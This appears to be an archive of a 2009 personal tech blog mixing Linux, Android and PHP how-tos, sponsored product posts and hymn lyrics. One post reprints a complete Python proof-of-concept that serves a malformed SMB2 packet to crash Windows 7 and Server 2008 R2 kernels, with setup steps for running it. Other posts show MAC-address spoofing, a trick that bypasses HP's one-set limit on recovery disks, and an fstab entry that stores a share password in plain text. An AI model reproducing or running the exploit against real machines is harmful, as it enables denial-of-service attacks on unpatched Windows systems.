Monday 28 December 2009

How to install soundfonts in Audacity

To install a soundfont in timidity++, add a line to timidity.cfg:

soundfont /path/to/soundfont.sf2

How to install a better soundfont in timidity

There are several soundfonts out in the wild. This HowTo will use the fluidr3 soundfont which is accessible via the AUR.
Note: It will be assumed that you know how to build packages from the AUR. This excerpt will be very short and barely explained. Too short if you're completely new to it.
As sfarkxtc, a decompressor for soundfonts, is a make dependency of fluidr3, we install it first:
# pacman -S sfarkxtc
After sfarkxtc has been installed, we will be able to build fluidr3 which may take some time.
# wget http://aur.archlinux.org/packages/fluidr3/fluidr3/PKGBUILD
# wget http://aur.archlinux.org/packages/fluidr3/fluidr3/fluidr3.install
# wget http://aur.archlinux.org/packages/fluidr3/fluidr3/license
# makepkg
# pacman -U fluidr3-122501-6.pkg.tar.gz
If fluidr3 has been installed properly, we have to add it's path to the timidity++ configuration file. Just add this line to /etc/timidity++/timidity.cfg:
soundfont /usr/share/soundfonts/fluidr3/FluidR3GM.SF2
Then timidity++ is ready for use.

Source: http://wiki.archlinux.org/index.php/Timidity#How_to_install_a_soundfont

Friday 25 December 2009

LG's foray into the mobile space: An excellent media device

This is a Sponsored Post written by me on behalf of LG Chocolate Touch. All opinions are 100% mine.

In the past, most of us have bought at least one MP3 player of some description. And then when that one fills up, and is supersceded - another one. And then there's the phone. And for emails and internet, the laptop. And a still camera for candid shots, plus a video camera for grabbing a few clips here and there. It's really quite ineffecient to have so many different devices - they waste energy, you have to keep track of dozens of different power adapters & chargers, and synchronising data between devices is, at best, painful.

That's where an all-in-one device such as the LG Chocolate Touch comes in handy. The aim of a device like this is to combine all your traditional electronic devices into one box, which makes it easy to organise and share your data over an internet connection.

The LG Chocolate Touch has all your traditional phone functionality - voice, text, and multimedia messages. It's also got a 3.2MP camera / video recorder, plus a built-in image editor so you don't have to transfer photos to your computer for simple touching up and cropping. Of course, the device is internet enabled, with a "One-touch Social Network Message Key" for easy use of Mobile Blogging (Facebook, MySpace, Twitter, etc.)

But perhaps the biggest feature of this phone is it's multimedia capabilities - Dolby Mobile technology is built in for crystal clear sound quality. An adjustable EQ allows you to setup the best sound experience for your environment, and there's even a "Rythmical Beat" feature that vibrates the phone in time with your music! On the LG website you can hear the difference between EQ modes on the phone - it's quite amazing.

This little phone is certainly worth a look - it reminds me quite a bit of the MyTouch 3G, and in more than the name. This device however, has significantly better multimedia capabilities, which may put it ahead if that's what your looking for. All in all, a solid all-rounder phone, with an edge in the multimedia environment.

SocialSpark Disclosure Badge

Android: How to scale an image in ImageView

To scale an image in the provided ImageView control, use this basic code:


Matrix mtrx = new Matrix;
mtrx.postScale(scalefactorX, scalefactorY);
mtrx.postTranslate(offsetX, offsetY);
pic.setImageMatrix(mtrx);
pic.setScaleType(ScaleType.MATRIX);
pic.invalidate();


This will increase the image size by scalefactorX and scalefactorY, and move the image so that the top left corner is at the location specified by offsetX and offsetY.

Wednesday 23 December 2009

Bidazzled - entertainment auctions (with a charitable background)

This is a Sponsored Post written by me on behalf of Bidazzled. All opinions are 100% mine.

Today I heard about yet another online marketplace, amongst the plethora already available online (the most popular being Ebay). But this marketplace is different - 70% of the profits go to charity.

Bidazzled was launched in early November, and has already gained quite a following. This site is classed as Penny Auction or Pay-per-bid, where bids are purchased in advance and then used to bid on merchandise. This is very different from Ebay, where bids are free and you only pay if you win the item. Every time somebody bids with some of their pre-bought credit, the price goes up by a few cents, and a few seconds are added to the countdown clock to allow other people to bid.

An interesting feature is that if you don't "win" the action, you still have the opportunity to buy the item, minus the investment you made in it. So basically, you can't lose! Most of the time, people will save 80% off the retail price of an item. In the early days of this site, some people were even buying Nintendo Wiis for only a few cents!

Bids cost $1 at Bidazzled, and can be bought in packs from $25. I have an exclusive offer though for readers of this blog - 15 bonus bids, if you redeem this offer before 15th January 2010. Just enter the following code when signing up - no obligation!

BBP1202A

Bidazzled also has a pretty good referral program. If:
*A refers B. A receives 5 Bonus Bids
*B refers C. A receives 4 Bonus Bids
*C refers D. A receives 3 Bonus Bids
*D refers E. A receives 2 Bonus Bids
*E refers F. A receives 1 Bonus Bid.

I suggest you check out Bidazzled - it just might be the thing for you. It's certainly worth a look - and remember, the profits are used to fund a charity, so if you spend too much - it's all in a good cause! =)

SocialSpark Disclosure Badge

Lyrics: Our Lady of the Southern Cross

Lyrics to the hymn/song "Our Lady of the Southern Cross", a Marian motet composed by Rev. Geoffrey Abdallah. Used at World Youth Day 2008 in Sydney.

Verse 1:
You said your 'yes' to the an-gel's word,
the Sp-rit of God was with you.
You walked with Je-sus through-out his life,
with a mo-ther's care and trust;
You stood at last be-neath the cross.
A mo-del of cou-rage and strength.

Chorus:
Teach us to hope, to be-lieve and love like you,
Our La-dy of the Sou-thern Cross.
Shine u-pon us, guide us through life.
Show us the way to Christ your Son.
Shine u-pon us, guide us through life.
Mo-ther of Je-sus. Mo-ther of Christ.

Verse 2:
You sat and prayed with his clo-sest friends,
a-wai-ting the Spi-rit to come.
You saw them change, as they went trans-formed
to a world they hard-ly know.
Now stand with us, O Mo-ther of Light,
as we speak God's love and truth.

Chorus:
Teach us to hope, to be-lieve and love like you,
Our La-dy of the Sou-thern Cross.
Shine u-pon us, guide us through life.
Show us the way to Christ your Son.
Shine u-pon us, guide us through life.
Mo-ther of Je-sus. Mo-ther of Christ.

Verse 3:
In the an-cient lands of the South at night,
the Sou-thern Cross shines so bright.
This bea-con poin-ted the travel-lers of old
to a path se-cure and true.
So Ma-ry, a guide to pil-grims to day
shows us the Christ who is our Way.

Chorus:
Teach us to hope, to be-lieve and love like you,
Our La-dy of the Sou-thern Cross.
Shine u-pon us, guide us through life.
Show us the way to Christ your Son.
Shine u-pon us, guide us through life.
Mo-ther of Je-sus. Mo-ther of Christ.
Mo-ther of Je-sus. Mo-ther of Christ.

Tuesday 22 December 2009

Hyundai moves toward "greener" cars

This is a Sponsored Post written by me on behalf of Hyundai. All opinions are 100% mine.

Hyundai have just won the Global Green Challenge for energy-effecient cars. Personally, I had heard of Hyundai before but had never associated them with green cars. However, their latest model the new Hyundai Santa Fe, has just done a test from Darwin to Adelaide and came out with some pretty impressive fuel efficiency stats.
According to their website:
The Challenge includes two demanding urban loops and covers a total distance of 3,147 kilometres from Darwin to Adelaide. At the finish line in Adelaide’s CBD, after seven days of intense competition, the new Santa Fe R diesel had consumed a total of just 160.46 litres of diesel fuel and achieved a low 137.67 grams of CO2 per kilometre.
Apparently this car can get up to 1,200km on a single tank. With all the climate change & global warming talks (such as those at Copenhagen recently), cars like this are really what people will be looking for in the upcoming months and years. We want something lean, grean, fuel effecient and with low CO2 emissions. And it looks like Hyundai have just become the global, or at least-Australia-wide leaders in this field.

The Santa Fe R Diesel also has a few other impressive-looking features:

  • GreenR - 27% more power and 7% less CO2 emissions*
    *ADR 81/02 static laboratory urban cycle test for manual
  • SmartR - with push button start and safe reverse technology
  • LongR - up to 1,200km on a single tank
  • SafeR - 5 star ANCAP safety with rollover sensors*
    *5 star ANCAP applies to all Santa Fe variants built from October 2009
  • StrongR - 27% more power and 10% less fuel consumption*
    *ADR 81/02 static laboratory urban cycle test for manual
As you can see, 'R' seems to be the keyword here, implying that this care is only the start, as they get 'bett-R'. If we keep seeing increases in the 10% range we're going to get very fast, very efficient cars very soon.

CarsGuide have a good overview of the Global Green Challenge on their website. Also checkout the Hyundai website for more info on their energy-effecient cars.

SocialSpark Disclosure Badge

Sunday 20 December 2009

Suspend / Hibernate fails & doesn't work on HP dv7t-1000 CTO Pavilion Laptop running Ubuntu 9.10 Karmic

I recently bought a new HP Pavilion (dv7t-100 CTO) laptop, and installed Ubuntu Karmic 9.10 on it immediately. Everything seemed to work perfectly out of the box, including the function keys. Only problem is, Suspend and Hibernate definitely did not work. Any attempt to suspend or hibernate would basically corrupt the hard drive, and on the next boot (after a manual fsck), /home was wiped.

The solution was simple. No SMART hard drive tests (incidentally, a short SMART scan said the drives were OK). No drivers or kernel modules in Ubuntu. Simply a BIOS upgrade.

I simply had to download the BIOS update from the HP website, copy them to a USB drive, and boot into Windows to install the update. On next reboot, suspend and hibernate worked perfectly, and no more corrupted hard drives!

Saturday 19 December 2009

"Spellcasting Soda" D&D Potions at your next BBQ?

This is a Sponsored Post written by me on behalf of Jones Soda. All opinions are 100% mine.

Many of you may be familiar with the classic board game Dungeons & Dragons. Perhaps you've even played one of the plethora of online or PC-based computer games based on this same game. Well, now you have the chance to buy D&D potions - thanks to Jones Soda.

The new Dungeons and Dragons Jones Soda comes in multiple flavours - "Potion of Healing", "Sneak Attack", "Illithid Brain Juice" and others. I'm extremely curious about how the Brain Juice might taste - haven't tried brains before myself!

At the moment, the Limited Edition Soda can be ordered online for $10.99 for a six-pack. There are 5 flavours advertised on the website, and you receive a variety in each pack. This could definitely be an attention-grabber for your next BBQ or party - "Hey, who wants a Dwarven Draught?" Just remember that there could be a two week for your order, wait as the hand-made bottles are in high demand.

I'd suggest you check out the website, and let me know if you get to taste any of these. Leave a comment here with your favourite flavour! I'd personally go for the Potion of Healing - sounds safest to me, but hey, if you're more adventurous and want to try a Sneak Attack or Bigby's Crushing Thirst Destroyer, let me know how it tastes. =)

SocialSpark Disclosure Badge

Friday 18 December 2009

Installing Android Devloper Tools on Eclipse fails - Ubuntu Karmic 9.10

I followed these instructions to install the Eclipse Android Developer Plugins using Eclipse 3.5.1 and the default Ubuntu Karmic install. However I was presented with the following error message when clicking "Next":

Cannot complete the install because one or more required items could not be found.
Software being installed: Android Development Tools 0.9.5.v200911191123-20404 (com.android.ide.eclipse.adt.feature.group 0.9.5.v200911191123-20404)
Missing requirement: Android Development Tools 0.9.5.v200911191123-20404 (com.android.ide.eclipse.adt.feature.group 0.9.5.v200911191123-20404) requires 'org.eclipse.wst.xml.ui 0.0.0' but it could not be found


For some reason ubuntu doesn't include the standard update repository for Eclipse by default. To fix this:
  • Go to "Help/Install New Software..."
  • Add http://download.eclipse.org/releases/galileo/ to the update sites list (strange it's not installed by default on ubuntu)
  • From there, install WST (use the filter box to find the package)
  • Restart eclipse
  • Go back to "Help/Install New Software..." and install the Android ADT as explained on the android website.
References: http://groups.google.com/group/android-developers/browse_thread/thread/c1f97d875e30f903/87cb75ef455d436f?#87cb75ef455d436f

Wednesday 16 December 2009

PHP: How to (Code) to check if a Windows file / folder name is valid.

Two PHP functions to check a string to see if it is a valid windows filename. The first simply checks the string, the second function will replace all occurrences of the invalid characters with a blank.


/**
* Checks to see if a filename is valid for Windows
* Invalid characters are: < > : " / \ | ? *
* Returns false if invalid characters found, else true
*/
function isValidFilename($filename)
{
if(preg_match('/[<>:"\/\\\|?*]/i', $filename))
{
//Invalid characters found
setDebug("Filename '$filename' contained invalid characters.");
return false;
} else {
//No invalid characters, must be valid filename
setDebug("Filename '$filename' contained no invalid characters.");
return true;
}
}

/**
* Removes all invalid characters from a Windows filename.
* Invalid characters are: < > : " / \ | ? *
* Returns the (possibly) modified string
*/
function fixFilename($filename)
{
setDebug("Filename to fix: {$filename}");
$newFilename = preg_replace('/[<>:"\/\\\|?*]/i', "", $filename);
setDebug("Fixed filename: {$newFilename}");
return $newFilename;
}

Wednesday 9 December 2009

Install Ubuntu from Alternate ISO Image and USB Drive (Karmic 9.10)

I downloaded the Ubuntu 9.10 (Karmic) alternate install CD. At first I thought there would be no way to run a clean install from this, but I discovered a simple way, which doesn't even involve burning to CD. This method is designed to be run from another linux system.
  • Download the alternate install cd image
  • Find a usb thumb drive with at least 1GB free (may need more, up to 2GB)
  • Download usb-creator, and run it (usb-creator-gtk or usb-creator-kde on Kubuntu)
  • In the top box, choose your alternate ISO image. Plug in your usb drive and it should appear in the lower section of the window. Choose the drive (for example, /dev/sdb1) and choose "Discarded on Shutdown".
  • Click "Make Startup Disk"
You should then be able to boot your computer from the usb drive, and run the text-based installer.

Source: https://help.ubuntu.com/community/Installation/FromUSBStick

I spy Eye-Fi - Intelligent SD Cards spark a camera revolution

This is a Sponsored Post written by me on behalf of Eye-Fi. All opinions are 100% mine.

Photo management is currently my biggest time-waster on the computer. Yes, even worse than Facebook. Often I will be looking for a photo that I took months ago, only to find it's still on the camera. Then I have to find a USB cable, memory card reader, and download the photos, search for duplicates from previous downloads, before finally getting back to the photo I was looking for.

Then what happens if I want to access those photos and my camera isn't accessible, or I downloaded them to another computer? There's no easy way to access the photos without uploading them to a web photo sharing service, and all this takes time and effort. Photo management has rapidly become an time and effort-intensive operation.

All this is set to change with the new wireless-enable memory cards from Eye-Fi. These 4GB SD cards come with built-in WiFi capabilities, as well as the smarts to automatically upload your photos from the camera to a suitable computer or web service which you have preconfigured.

Basically this card looks and acts just like a normal SD card. Stick it in your camera and shoot as normal. You can configure up to 32 wireless networks, and whenever the camera (with the memory card inside) comes within range of one of these networks, it will upload the latest photos to your selected destination - which could be folders on your computer, or one of 25 different locations online.

I definitely want to get one of these cards - it could save me hours of photo transfer time, and at just $60USD for the geo-tagging version it's quite cheap for the features.

Here's a video explaining the service in more detail:


SocialSpark Disclosure Badge

How to create multiple recovery disks for HP Recovery Manager

I recently purchased a HP Pavilion dv7 laptop. Since HP no longer ships recovery disks, and instead uses a recovery partition, my first step was to start the Recovery Manager and create some disks in case I needed to do a system restore later. However, HP only allows you to make one set of disks (thanks to IP laws) - and a set of disks had already been created by somebody. So I was pretty stuck.

However, there is a way to trick the program and create two (or more) sets of disks. There is a file named HPCD.sys located in both C:\WINDOWS\SMINST and the root of your recovery partition (in my case, E:\). Simply rename or delete these files (I renamed to HPCD.sys.bak) and HP Recovery Manager will quite happily create another set for you.

NOTE: In order to rename these files, you will have to go to Windows Explorer, press Alt+T to bring up the tools menu, click "Options". Go to the View tab, and select "Show hidden files and folders" and uncheck "Hide extensions for known file types" and "Hide system files and folders". Otherwise you won't be able to see the file!
You may also have to run Windows Explorer as Administrator - bring up the Start menu, right click Windows Explorer and choose Run As Administrator.

Sources:
http://www.troublefixers.com/create-more-than-one-set-of-recovery-cd-on-hp-laptop-computer/
http://forum.notebookreview.com/showthread.php?t=129029

Tuesday 8 December 2009

How to Connect Asterisk to Siemens Hipath 3000 with HG1500 using a SIP Trunk

For outgoing calls.

Create a new SIP Trunk in Asterisk, with this PEER config:

type = peer
host = ip.of.hg.1500

Then add an outbound route. That's all. Calls using that outbound route should now pass through the Siemens Hipath.

Monday 7 December 2009

FIX: PHP MSSQL odbc_num_rows() returns -1

Running MSSQL with PHP  on Windows sometimes returns -1 for the function odbc_num_rows() even when there are rows in the result. This function fixes the problem:

 function best_odbc_num_rows($result,$currentRow=0)  {
   $numRecords = 0;
  odbc_fetch_row($result, 0);
  while (odbc_fetch_row($result))
  {
    $numRecords++;
  }
  odbc_fetch_row($result, $currentRow);
  return $numRecords;
}

Common TCP Port Numbers

Well-Known TCP Port Numbers


In TCP/IP and UDP networks, a port is an endpoint to a logical connection and the way a client program specifies a specific server program on a computer in a network. Some ports have numbers that are preassigned to them by the IANA, and these are known as well-known ports (specified in RFC 1700). Port numbers range from 0 to 65536, but only ports numbers 0 to 1024 are reserved for privileged services and designated as well-known ports. This list of well-known port numbers specifies the port used by the server process as its contact port.

Port Number Description
1TCP Port Service Multiplexer (TCPMUX)
5Remote Job Entry (RJE)
7ECHO
18Message Send Protocol (MSP)
20FTP -- Data
21FTP -- Control
22SSH Remote Login Protocol
23Telnet
25Simple Mail Transfer Protocol (SMTP)
29MSG ICP
37Time
42Host Name Server (Nameserv)
43WhoIs
49Login Host Protocol (Login)
53Domain Name System (DNS)
69Trivial File Transfer Protocol (TFTP)
70Gopher Services
79Finger
80HTTP
103X.400 Standard
108SNA Gateway Access Server
109POP2
110POP3
115Simple File Transfer Protocol (SFTP)
118SQL Services
119Newsgroup (NNTP)
137NetBIOS Name Service
139NetBIOS Datagram Service
143Interim Mail Access Protocol (IMAP)
150NetBIOS Session Service
156SQL Server
161SNMP
179Border Gateway Protocol (BGP)
190Gateway Access Control Protocol (GACP)
194Internet Relay Chat (IRC)
197Directory Location Service (DLS)
389Lightweight Directory Access Protocol (LDAP)
396Novell Netware over IP
443HTTPS
444Simple Network Paging Protocol (SNPP)
445Microsoft-DS
458Apple QuickTime
546DHCP Client
547DHCP Server
563SNEWS
569MSN
1080Socks
For further information, see RFC 1700. 
Source: http://www.webopedia.com/quick_ref/portnumbers.asp

Linux find which program is using a port

The linux fuser command has a special option for port conflicts.
Use fuser -n tcp for tcp ports to see which process is using the port.
For example to see which application is already using port 80 use:
$ fuser -n tcp 80
The netstat command can also be used to determine what process is using a port.
Use netstat -nlp and you should see PID and names of programs along with the port they are using (note you can only see the PID of process you own, unless running as root)

$ netstat --nlp

Sunday 29 November 2009

Facebook Integrated Email Client - a "killer feature"?



The other day I realised something. I spend the vast majority of my day in the browser, with two tabs always open: Facebook, and Gmail. I use Facebook for the rich social features, photos and up-to-date contact information. Gmail I use for business communication, notifications from across the web and general communication.



What if I could combine the two? What if there was one place on the web where I could find up-to-date information about all of my friends, as well as providing private, asynchronous two-way communication by emails? I would spend all my day with this open.

What if Facebook had an email client?

Just another link on the left bar - under "News Feed", titled "Email Feed". This would show your most recent emails in a list, Facebook style, with Facebook profile pictures automatically matched to your contacts, Xoopit style. Then when you click an email, it will open and besides the email, also show information about the user, including recent updates and allow you to message them back.

If Facebook could handle my emails, I'd have no reason to keep Gmail open. I would spend all my day on Facebook. Literally. Even at work. And the integrated calendar functionality could be expanded, to provide Outlook-like viewing of availability, and event scheduling. The possibilities are endless.

Maybe I'm missing something. Maybe there's a glaringly obvious reason why Facebook doesn't do this. But as far as I can see, despite all our modern micro-blogging services, the good old email still has a lot of life left in it. If Facebook could tap into this huge business, they could potentially revolutionize email, and dramatically increase their market share at the same time. Not only that, it would also present a pathway for Facebook to move into the business communication sector, which is still largely avoiding the social network.


What about it, Facebook?

Saturday 28 November 2009

How to Convert MIDI to Mp3 using Timitidy and FFMPEG

Command line switch for outputting WAV file from timidity is -Ow.
So:
timidity -Ow ./file-to-play.midi
will generate a WAV file named ./file-to-play.wav

To convert this to mp3, use FFMPEG:
ffmpeg -i ./file-to-play.wav ./file-to-play.mp3

That's it! You will now have an mp3 file ./file-to-play.mp3

Thursday 19 November 2009

FULL CODE - Windows 7 Zero Day Exploit Proof of Concept Python Code

Here is the full code for the Windows 7 Zero Day Exploit involving SMB that was first posted here. Exploitation of this vulnerability occurs when a user attempts to browse to Windows Share hosted on the malicious server. On Windows 7, the DoS (denial of service) will occur as soon as you type ‘\\\' in the search box.

My code has fixes to ensure it will run first time. Simply copy and paste the code below into a file named "win7crash.py", and then make sure samba services are stopped ("sudo /etc/init.d/samba stop") and run "sudo python ./win7crash.py".

NOTE: Make sure the line def handle(self): is indented one space. The lines underneath this should be indented two spaces, and the last two lines not indented at all.

#!/bin/python
# This Python file uses the following encoding: utf-8
#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffié
#

import SocketServer

packet = ("\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")


class SMB2(SocketServer.BaseRequestHandler):

def handle(self):

print "Who:", self.client_address
print "THANKS SDL"
input = self.request.recv(1024)
self.request.send(packet)
self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()

Sunday 15 November 2009

How to Setup Android SDK / ADB / Fastboot Under Ubuntu 9.10

These instructions work for Ubuntu 9.10, which I am running, as well as most other linux distributions. Basically how to setup Android for debugging. I have found this works with my HTC Magic 32A.

./adb kill-server
sudo ./adb start-server
./adb devices

Setting up UDEV to recognize HTC Device -
  1. Type the following into a terminal (Applications > Accessories > Terminal):
    Code:
    gksudo gedit /etc/udev/rules.d/51-android.rules

  2. Now add the following line to the blank file:
    Code:
    SUBSYSTEM=="usb", SYSFS{idVendor}=="0bb4", MODE="0666"

  3. Click save and close.
  4. To restart udev, open up a terminal and enter:
    Code:
    sudo /etc/init.d/udev restart

Saturday 14 November 2009

How to Install Android Donut 1.6 on HTC Magic 32A (Cyanogen Mod)

I installed the lastest Cyanogen Mod firmware (v4.2.4) -  Android version 1.6 "Donut" release on my HTC Magic 32A type phone. This is the standard HTC branded phone with 292MB of RAM.

NOTE: This process will erase all DATA and APPLICATIONS on your phone. You can use Astro File Manager and My Backup to backup your phone.

Follow the instructions here:
  1. Download HTC ADP 1.6 DRC83 http://www.androidspin.com/downloads.php?dir=enomther/ROM/&file=HTC_ADP_1.6_DRC83_rooted_base.zip
  2. Download the latest CyanogenMod (see post)
  3. Download the Kernel Port file (see post)
  4. Copy all three .zip files to your SD and reboot in Recovery Mode (press Home+Power at the same time or fastboot into your recovery)
  5. Do a "Wipe data/factory reset"
  6. Do a "Wipe SD: ext partition" ** (it is recommended to wipe your Apps2SD partition for this release)
  7. Apply Zip: HTC_ADP_1.6_DRC83_rooted_base.zip
  8. Apply Zip: update-cm-xxxx-signed.zip
  9. Apply Kernel Port Zip: rad-4.xxxx.zip or bc-4.xxxx.zip (depends on who released the latest port: rad - Radix999,bc - bcrook )
  10. Reboot
  11. Either grab some popcorn and watch adb logcat as it goes past, or go do something else.. this might take a while

Thursday 12 November 2009

How to ignore hidden folders with rsync

When using rsync to copy directories, I will use the following command:

rsync -av /home/david/directory-to-copy/ /tmp/new-directory/

But to ignore hidden files (and folders) I would use the following command:

rsync -av --exclude '.*' /home/david/directory-to-copy/ /tmp/new-directory/

Tuesday 10 November 2009

Taskbar across dual monitors in Ubuntu linux

Right click panel, click "New Panel"
Right click the new panel, choose "Properties", and uncheck "Expand"
You should be able to drag it to the other monitor.
Open the panel's properties, and check "Expand" again. You may also have to choose to place it on the bottom edge of the screen.
Right click the new blank panel, and click "Add to Panel"
Choose "Window List" and click "Add". Your programs will show up in a list on the screen they are visible on.

Source: http://www.lloydleung.com/2006/10/14/gnome-multiple-monitor-taskbar-window-listing/

Using Grep -r to find strings in files - like find or locate

Searching for a String in Multiple Files

Ever need to search through all your files for a certain word or phrase? I did, and to make matters more complicated, the files were all in different sub-directories. A quick Google search turned up a few scripts involving multiple commands and temporary files. Then I found a simpler solution.

If you're a Unix/Linux/BSD user, you probably know about the grep command, but did you know it's recursive? That's right, grep can search through your entire directory tree, scanning every file along the way. It will even return the results in multiple formats!

Here's an example. In this case we're searching for the word "modules":

grep -r "modules" .

By using the "-r" switch, we're telling grep to scan files in the current directory and all sub-directories. It will return a list of files the string was found in, and a copy of the line it was found on.

If you'd rather just get the file names and skip the rest of the output, use the "-l" switch, like so:

grep -lr "modules" .

Here's another tip: grep also supports regular expressions, so matching against a wildcard pattern is easy:

grep -lr "mod.*" .

That command will print a list of files containing any word starting with "mod".

You can also use grep to search for multiple words:

grep -r "drupal\|joomla\|wordpress" .

And, of course, grep supports file name wildcards in the standard unix fashion. In this example, grep will search only file names starting with "log":

grep -lr "mod.*" ./log*

Unfortunately, not all versions of grep support recursive searching, and some use different switches, so if you're running into problems, check your man pages:

man grep

Source: http://blamcast.net/articles/recursive-grep-find-strings-files

Friday 6 November 2009

Add a directory to PATH in Ubuntu / Unix

To add a directory (in this case /app1) to your path run the following command:

export PATH=$PATH:/app1

To view the new PATH variable:

echo $PATH

System PATH environment variables are stored in /etc/profile.

Thursday 29 October 2009

You Gotta See This!


Contest
Abbott Medical Optics Inc. is running a competition titled "You Gotta See This!". Entrants should make a video about how better vision has (or will) improve their lives. For most of us IT people, better eyesight would be a huge benefit. After all, who wants to wear one set of glasses for programming, a different set for mid-range viewing, and then take them off for looking at distant objects?

This could be a fun competition to enter. One of the themes in particular - "My favorite sport or activity would be so much cooler with better vision" is very relevant for most people. So it would be easy to have some fun making a creative video out of this.

The winning videos in the competition are determined by a community vote, so make sure you tell all your friends about your entry! If you do enter, leave a comment here so I can go and check out your video.

Full details  are listed below:

The Details (from the iLASIK Video Contest site)
1.Submit A Video
Users make and submit a video in one of the following categories:
• “My contacts are getting in the way of my good time”
• “My favorite sport or activity would be so much cooler with better vision”
• “You should see life after the iLASIK® Procedure”
2.Tell Friends To Vote
Once users submit a video, their friends can vote on it. And votes are one of the key factors in determining which videos win a prize.
3.Have A Chance To Win
• One Grand Prize winner will win $5,000 — selected from all submitted videos
• Three First Prize winners will win an HDTV package(a $2,500 value) — one per video category
•Three Second Prize winners will win the Flip UltraHD™ camcorder (a $199.99 value) — one per video category

So head down to the site today. There are lots of cool prizes to be won, and making the video itself should be heaps of fun. In fact, you could even re-make an existing video if you wanted to - the choice is yours. Now I'll just see if I can get an entry in myself..... =)

Post?slot_id=80452&url=http%3a%2f%2fsocialspark

Tuesday 27 October 2009

Ubuntu 9.04 Jaunty Ctrl+Alt+F1 Show Blank Screen

I was trying to change to a virtual terminal, but all I got was a black screen. I am using the latest Nvidia graphics drivers (proprietary).

To fix, I had to run the following command:
sudo modprobe vga16fb
 sudo modprobe fbcon

Then I was able to change to different tty virtual terminals using the keyboard shortcut. Ctrl+Alt+F7 to get back to graphical interface.
Source: http://ubuntuforums.org/showthread.php?t=679861

Friday 23 October 2009

Spoof MAC Address on Linux

Spoofing a MAC address on Linux is quite easy. It does require that you shut the interface down however. Shut the interface you want to spoof down, and then run ifconfig.


Code:
ifconfig eth0 down
ifconfig eth0 hw ether 00:11:22:33:44:55
ifconfig eth0 up

Wednesday 21 October 2009

How to Mount Samba Share at Boot / Startup Ubuntu 9.04 Jaunty

To mount a Samba share to be mounted when a Linux system comes up after reboot edit the /etc/fstab file and put entry as follows for your Windows/Samba share:
//ntserver/share /mnt/samba smbfs username=username,password=password 0 0
For example, if you want to mount a share called //ntserver/docs then you need to write the following entry in your /etc/fstab file:
//ntserver/docs /mnt/samba smbfs username=docsadm,password=D1Y4x9sw 0 0
Where,
  • //ntserver/docs: Windows 2003/NT/Samba share name
  • /mnt/samba: Local mount point (you may need to create this directory first)
  • smbfs: File system type (samba file system)
  • username=docsadm,password=D1Y4x9sw: Share username and password
Note: This will work for all Linux systems, not just Ubuntu Jaunty. You may encounter an error like the following:

$sudo mount /shared
mount: wrong fs type, bad option, bad superblock on //beta/shared,
       missing codepage or helper program, or other error
       (for several filesystems (e.g. nfs, cifs) you might
       need a /sbin/mount. helper program)
       In some cases useful info is found in syslog - try
       dmesg | tail  or so

In this case, smbfs might not be installed. For ubuntu, run:
sudo apt-get install smbfs
and then try mounting again.

Source: http://www.cyberciti.biz/faq/configure-a-system-to-automount-a-samba-share-with-etcfstab/

Tuesday 13 October 2009

404 - Component not found in Joomla when viewing Virtuemart

404 - Component not found
You may not be able to visit this page because of:
  1. an out-of-date bookmark/favourite
  2. a search engine that has an out-of-date listing for this site
  3. a mistyped address
  4. you have no access to this page
  5. The requested resource was not found.
  6. An error has occurred while processing your request.
Please try one of the following pages:
If difficulties persist, please contact the System Administrator of this site.
Component not found


I found this error message when working from a clean install of virtuemart. Actually, the solution was quite simple - just add a menu item linking to the Virtuemart Component. Without a menu item, Joomla doesn't recognise the component correctly.

How to Fix Screen Blank when Installing openSuSE 10.3 on Eee Box


openSuSE installed from the DVD successfully, but the screen would go blank and enter standby mode after booting. A DVI-VGA adapter was used to connect a VGA LCD screen.

The problem lies in the Xorg configuration. Apparently the default Intel driver does not work. The driver needs to be changed to VESA.

To fix the screen and get Xorg to work correctly:

1.      Turn on the computer. It will display the boot progress, but then the screen will go blank. Press Ctrl+Alt+F1 to change to command line mode.

2.      Login as root.

3.      To edit the configuration file, you will require a text editor. By default, only vi is installed. These instructions use pico. To install pico, place the openSuSE Install DVD in the drive, and type “yast2 –i pico” on the command line.

4.      Open the configuration file: pico /etc/X11/xorg.conf

5.      Scroll down using the arrow keys to find the line which says:
Section “Device”
A few lines futher down, replace this line:
Driver    “intel”
With this line:
Driver    “vesa”

6.      Press Ctrl+O and then Enter to save the file. Press Ctrl+X to exit.

7.      Type “reboot” to restart the computer. This time you should be able to login to the desktop environment as normal.

Full contents of working xorg.conf file (with modified line highlighted):
# /.../
# SaX generated X11 config file
# Created on: 2009-09-09T11:23:59+1000.
#
# Version: 8.1
# Contact: Marcus Schaefer , 2005
# Contact: SaX-User list
#
# Automatically generated by [ISaX] (8.1)
# PLEASE DO NOT EDIT THIS FILE!
#

Section "Files"
  FontPath     "/usr/share/fonts/misc:unscaled"
  FontPath     "/usr/share/fonts/local"
  FontPath     "/usr/share/fonts/75dpi:unscaled"
  FontPath     "/usr/share/fonts/100dpi:unscaled"
  FontPath     "/usr/share/fonts/Type1"
  FontPath     "/usr/share/fonts/URW"
  FontPath     "/usr/share/fonts/Speedo"
  FontPath     "/usr/share/fonts/PEX"
  FontPath     "/usr/share/fonts/cyrillic"
